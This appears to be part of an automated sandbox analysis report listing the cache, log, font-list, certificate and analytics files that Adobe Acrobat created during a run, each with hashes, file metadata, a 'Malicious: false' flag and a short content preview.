SHA-256:	1AE963AECD097F3024B189EDEB86081A33073805F9CACD1612FAE286F45BD34C
SHA-512:	198CC193A7A877F1A129A368D3ACDD32D2452BC1AE332372F96CAB12CFE50F5E21B0C41176B87F6DD807D32B828522FB751033F89582B5FC711B5B3B7325851A
Malicious:	false
Reputation:	low
Preview:	2025/01/10-06:04:06.645 1cdc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-06:04:06.647 1cdc Recovering log #3.2025/01/10-06:04:06.648 1cdc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.133199365363706
Encrypted:	false
SSDEEP:	6:iO4oTsFUGDQ+q2P92nKuAl9Ombzo2jMGIFUtSoTuFppgZmwsoT/QVkwO92nKuAlx:7vTsFk+v4HAa8uFUtRT+m/7TIV5LHAaU
MD5:	A5ADB2AE29BCCB2AE5D2A87C684700C6
SHA1:	6BDED879D7A39EE8D65958831F5F8B95FF517D04
SHA-256:	1AE963AECD097F3024B189EDEB86081A33073805F9CACD1612FAE286F45BD34C
SHA-512:	198CC193A7A877F1A129A368D3ACDD32D2452BC1AE332372F96CAB12CFE50F5E21B0C41176B87F6DD807D32B828522FB751033F89582B5FC711B5B3B7325851A
Malicious:	false
Reputation:	low
Preview:	2025/01/10-06:04:06.645 1cdc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-06:04:06.647 1cdc Recovering log #3.2025/01/10-06:04:06.648 1cdc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\4a7e697d-6bd4-4b56-a6fa-74f8962994e3.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.062320434073501
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqz3VMhsBdOg2HukAcaq3QYiubxnP7E4T3OF+:Y2sRds0dMH53QYhbxP7nbI+
MD5:	BA59DEC3BB6DA29015CA54046D4EFAD8
SHA1:	C28473F3EC668AA59F26F34DAAA16401610D85F6
SHA-256:	B79698D78217EA0200E4E75BE41041672F67320CB3399D582A3AE0C96EB55FBA
SHA-512:	2573C3E1FF48EA1E031EBCE63E6E31A93067229841CFA58DE1D68A2D4E2B8B4B3026B3D09363FC46064FEE8F32543770D7D6F4036C3D500A41FBA8D4CBDCB993
Malicious:	false
Reputation:	low
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381067059199534","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":137612},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.062320434073501
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqz3VMhsBdOg2HukAcaq3QYiubxnP7E4T3OF+:Y2sRds0dMH53QYhbxP7nbI+
MD5:	BA59DEC3BB6DA29015CA54046D4EFAD8
SHA1:	C28473F3EC668AA59F26F34DAAA16401610D85F6
SHA-256:	B79698D78217EA0200E4E75BE41041672F67320CB3399D582A3AE0C96EB55FBA
SHA-512:	2573C3E1FF48EA1E031EBCE63E6E31A93067229841CFA58DE1D68A2D4E2B8B4B3026B3D09363FC46064FEE8F32543770D7D6F4036C3D500A41FBA8D4CBDCB993
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381067059199534","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":137612},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4509
Entropy (8bit):	5.23542596294436
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUQx2Cc4kZ:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLw
MD5:	BA76F04A666912B5531DB3057CF48A7F
SHA1:	12382379824A3035CC3ECBCF9E8D7E0D795D70B8
SHA-256:	07E1C06BD389E7603527E3562C0FE20786BC68FEB2931CDA6D6D15EFC9C71CAA
SHA-512:	8958EED3BC6DFF5FB858101F4741B177433E0AAEE7CF9D2F7DA17695E2D9AD3D14245C653534807E1D18C9570F378A249BAD9EC5D90A67EE0CE3C06835FA8292
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.127928681471758
Encrypted:	false
SSDEEP:	6:iO4oToDQ+q2P92nKuAl9OmbzNMxIFUtSoTpgZmwsoT/kQVkwO92nKuAl9OmbzNMT:7vTn+v4HAa8jFUtRTm/7TpV5LHAa84J
MD5:	894DFE1DD72238BCB6249CE668ACEA68
SHA1:	2C4DCCC91529BEB339523E3B2E4B83CD44670056
SHA-256:	B1B12962AE4FD06DA798411FD41CFCAED0C57E44D7087F5E8BC1E15D60A9AEF5
SHA-512:	5CAAD0780ECA1D98C7401EB5A8947A495BC2017E1EAAC747AB0DF515A0BDFBE8FD523D3F9C61EAF75E1CAE6216B586AA8AF1F57719F1B1F9B9ADD1E771228141
Malicious:	false
Preview:	2025/01/10-06:04:06.803 1cdc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-06:04:06.804 1cdc Recovering log #3.2025/01/10-06:04:06.805 1cdc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.127928681471758
Encrypted:	false
SSDEEP:	6:iO4oToDQ+q2P92nKuAl9OmbzNMxIFUtSoTpgZmwsoT/kQVkwO92nKuAl9OmbzNMT:7vTn+v4HAa8jFUtRTm/7TpV5LHAa84J
MD5:	894DFE1DD72238BCB6249CE668ACEA68
SHA1:	2C4DCCC91529BEB339523E3B2E4B83CD44670056
SHA-256:	B1B12962AE4FD06DA798411FD41CFCAED0C57E44D7087F5E8BC1E15D60A9AEF5
SHA-512:	5CAAD0780ECA1D98C7401EB5A8947A495BC2017E1EAAC747AB0DF515A0BDFBE8FD523D3F9C61EAF75E1CAE6216B586AA8AF1F57719F1B1F9B9ADD1E771228141
Malicious:	false
Preview:	2025/01/10-06:04:06.803 1cdc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-06:04:06.804 1cdc Recovering log #3.2025/01/10-06:04:06.805 1cdc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-250110110410Z-163.bmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PC bitmap, Windows 3.x format, 117 x -152 x 32, cbSize 71190, bits offset 54
Category:	dropped
Size (bytes):	71190
Entropy (8bit):	2.2653552722009325
Encrypted:	false
SSDEEP:	384:4pcXuq4q+zlpA5dQFpbFlnD2UCurS0IFtD45Ia:4piuq4q+xpWdQFF2r0Ap4N
MD5:	64424FDA915B49CF384C6D0921CD3E6B
SHA1:	24B06C4B1193556EC3543B33AA24DFFB37AA426F
SHA-256:	73C03D67F99CBE548CCA58F1ACCC61883BBACDEBB6C4BADD5F3415522E39A1A5
SHA-512:	A7271F252310C4D485FE3907D6F5DA69C0F48C985D5C12F823D41FDAF9F6E4B2A6FFC99758DE2DD3B7622406316938C399A9EBB4441EF36F82248DE1B2FD8AA3
Malicious:	false
Preview:	BM........6...(...u...h..... ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7282048283587708
Encrypted:	false
SSDEEP:	3:kkFklSBqGL/tfllXlE/HT8kahllltNNX8RolJuRdxLlGB9lQRYwpDdt:kKLBteT8pl7NMa8RdWBwRd
MD5:	ABFB07762D4F14A2F7EE7EB0DE05B0E7
SHA1:	84637AEABB7178343AE0C6844F8CF6B66461C0D1
SHA-256:	5B3D519378A9F2C112794037C1DD03F8799AFC2533996168D27D049C76E01DE4
SHA-512:	66899972FD85EE968F9DD23FCECA75D92F28C3163C851D00275E1B854080340AB7064A30D343EA16C476909514058212BD3B17C100F73480914C2061ACF523EE
Malicious:	false
Preview:	p...... .........p.eOc..(....................................................... ..........W....)Z..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5464

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5464

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheAcro65536.dat

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	227002
Entropy (8bit):	3.392780893644728
Encrypted:	false
SSDEEP:	1536:WKPC4iyzDtrh1cK3XEivK7VK/3AYvYwgF/rRoL+sn:DPCaJ/3AYvYwglFoL+sn
MD5:	87EDBEE38F56C20298F25D5D3D4D1B5C
SHA1:	7F904E9615AC3186A87472EF366DD8202855B0B7
SHA-256:	A46B56D3ABCC137D1872DDF20EED4BCD7D04518282282ADB32DDCCF70D7FFBA6
SHA-512:	BBEBC1FCD5BC9AE042DD5782425BA8C47BF3EAC283B2487FC4E3FF6BF8101306DAB081E5135594165D4DC1AC120FF125AADBC5B3FFE7C646183C04DF77865E0D
Malicious:	false
Preview:	Adobe Acrobat Reader (64-bit) 23.6.20320....?A12_AV2_Search_18px.............................................................................................................KKK KKK.KKK.KKK.KKK.KKK.KKK@........................................KKK`KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK.............................KKKPKKK.KKK.KKK.KKK.........KKKPKKK.KKK.KKK.........................KKK.KKK.KKK.KKK0....................KKK.KKK.KKK.KKK`....................KKK`KKK.KKK.............................KKK@KKK.KKK.....................KKK.KKK.KKK0................................KKK.KKK.....................KKK.KKK.....................................KKK.KKK.....................KKK.KKK.KKK0................................KKK.KKK.....................KKK`KKK.KKK.............................KKK@KKK.KKK.....................KKK.KKK.KKK.KKK@....................KKK.KKK.KKK.KKK`........................KKKPKKK.KKK.KKK.KKK.........KKKPKKK.KKK.KKK.KKK.............................KKK`KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.357836150333119
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFWzrOaWDO7+FIbRI6XVW7+0Y/XFUoAvJM3g98kUwPeUkwRe9:YvXKXFCcOyYpW7cXFGMbLUkee9
MD5:	6F17FFD6E4513955A44648B0038CA8EA
SHA1:	353B8A1BB9D7EB8634BE5BB4F55907F8C9840F12
SHA-256:	11B0C6B10AEA0BCE3FD3A70BF358F2A59C186962CAB41E983E781530F801A784
SHA-512:	AA988B4B86ABC60C5949CAF0D0AE06F6CA4D284668D7D5E8106BAD4E508AD6C50D37BCB83E43B79F38615692B0DD2252E35256C68FFF8EB7BE3BC2BABA4D2BF3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"23558d5a-3b51-4b57-9853-4f30e6d3fa57","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736682912255,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.297844742958952
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFWzrOaWDO7+FIbRI6XVW7+0Y/XFUoAvJfBoTfXpnrPeUkwRe9:YvXKXFCcOyYpW7cXFGWTfXcUkee9
MD5:	01C0AA7AB70A1822A491C46A4F4FAB3C
SHA1:	CA536BCF942339AB3BA3307028AAC403F6CB3DCB
SHA-256:	8DAC26F9BCF19DC1544C0DC3351F3D1F5BE9A2189F2EFA44076B0EA23C1B3A54
SHA-512:	6E29DEE8AD13D21B32470B0D182C060A6C96B232E15B1485BA99E09118B564CDF4C1EB015C01C62E05C3036D14765A9B3253B5773F288778B8E9960B2EF564D2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"23558d5a-3b51-4b57-9853-4f30e6d3fa57","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736682912255,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.277042490928156
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFWzrOaWDO7+FIbRI6XVW7+0Y/XFUoAvJfBD2G6UpnrPeUkwRe9:YvXKXFCcOyYpW7cXFGR22cUkee9
MD5:	24D92781E621CAA74042B1365D841E49
SHA1:	0E8A5939EBAEFA3FA3499D9CE67447DAE3D3C80D
SHA-256:	6EEEA74CE5D89BEB0578137B25F44D8F60B53A15CB96C7A283692A957EDAE02C
